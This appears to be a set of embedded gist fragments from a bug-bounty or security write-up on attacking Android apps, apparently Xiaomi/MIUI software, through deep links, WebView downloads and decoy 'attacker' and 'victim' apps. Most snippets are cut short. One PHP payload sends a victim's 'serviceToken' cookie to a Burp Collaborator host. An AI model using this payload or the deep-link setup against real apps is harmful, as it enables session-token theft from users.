This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if size >= 0 { | |
ranges, err := parseRange(rangeReq, size) | |
if err != nil { | |
if err == errNoOverlap { | |
w.Header().Set("Content-Range", fmt.Sprintf("bytes */%d", size)) | |
} | |
Error(w, err.Error(), StatusRequestedRangeNotSatisfiable) | |
return | |
} | |
if sumRangesSize(ranges) > size { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
type httpRange struct { | |
start, length int64 | |
} | |
func parseRange(s string, size int64) ([]httpRange, error) { | |
//redacted | |
var ranges []httpRange | |
//redacted | |
var r httpRange |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.tmh.victim; | |
import androidx.appcompat.app.AppCompatActivity; | |
import android.os.Bundle; | |
public class MainActivity extends AppCompatActivity { | |
@Override | |
protected void onCreate(Bundle savedInstanceState) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<activity android:name=".MainActivity" android:launchMode="singleTask"> | |
<intent-filter> | |
<action android:name="android.intent.action.MAIN" /> | |
<category android:name="android.intent.category.LAUNCHER" /> | |
</intent-filter> | |
</activity> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
package="com.tmh.attacker"> | |
<application | |
android:allowBackup="true" | |
android:icon="@mipmap/ic_launcher" | |
android:label="@string/app_name" | |
android:roundIcon="@mipmap/ic_launcher_round" | |
android:supportsRtl="true" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
this.webView.setDownloadListener(new DownloadListener() { | |
public final void onDownloadStart(String str, String str2, String str3, String str4, long j) { | |
String str5; | |
if (!bhr.O000000o(WebActivity.this.getApplicationContext(), "android.permission.WRITE_EXTERNAL_STORAGE")) { | |
bhh.O000000o(WebActivity.this.getApplicationContext(), (int) R.string.storage_permission_error, 1); | |
return; | |
} | |
WebActivity.this.addDownloadListener(); | |
Context applicationContext = WebActivity.this.getApplicationContext(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header('Content-Type: application/pdf'); | |
header("Content-disposition: attachment; filename=\"" . "ameya.html" . "\""); | |
file_get_contents("http://pvo1ztne9qj33kvlf4edizlhs8yymn.burpcollaborator.net/?exfil=".$_COOKIE["serviceToken"]); | |
echo "downloaded"; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<intent-filter> | |
<action android:name="android.intent.action.VIEW"/> | |
<category android:name="android.intent.category.DEFAULT"/> | |
<category android:name="android.intent.category.BROWSABLE"/> | |
<!---redacted---> | |
<data android:scheme="miui-music" android:host="web"/> | |
<!---redacted---> | |
</intent-filter> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static Intent parseActivity(Context context, Uri uri) { | |
if (uri == null || !FeatureConstants.SCHEME.equals(uri.getScheme())) { | |
return null; | |
} | |
String authority = uri.getAuthority(); | |
IDeviceCompat deviceCompat = IApplicationHelper.CC.getInstance().getDeviceCompat(); | |
if ("settings".equals(authority)) { | |
Intent intent = new Intent(context, deviceCompat.getActivityClass(1)); | |
intent.setData(uri); | |
intent.setPackage(context.getPackageName()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<intent-filter android:autoVerify="true"> | |
<action android:name="android.intent.action.VIEW" /> | |
<category android:name="android.intent.category.DEFAULT" /> | |
<category android:name="android.intent.category.BROWSABLE" /> | |
<data | |
android:path="/deceive.html" | |
android:host="recon.takemyhand.xyz" | |
android:scheme="https" /> | |
</intent-filter> |
OlderNewer